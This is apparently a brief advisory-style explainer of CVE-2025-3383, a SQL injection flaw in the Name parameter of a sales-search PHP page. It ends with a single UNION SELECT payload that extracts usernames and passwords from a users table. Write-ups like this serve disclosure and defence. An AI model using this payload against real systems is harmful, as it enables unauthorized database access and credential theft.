How CVE-2025-3383 Works
The vulnerability exists in `/search/search_sales.php` due to improper sanitization of the `Name` parameter. Attackers can inject malicious SQL queries through this parameter, exploiting the lack of input validation. The system directly concatenates user-supplied input into SQL statements, enabling unauthorized database access. Remote attackers can exfiltrate sensitive data, modify records, or execute administrative operations. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) confirms network-based exploitation with low attack complexity, requiring no privileges or user interaction.

Exploitation
1. Payload Example:
' UNION SELECT username, password FROM users-- -
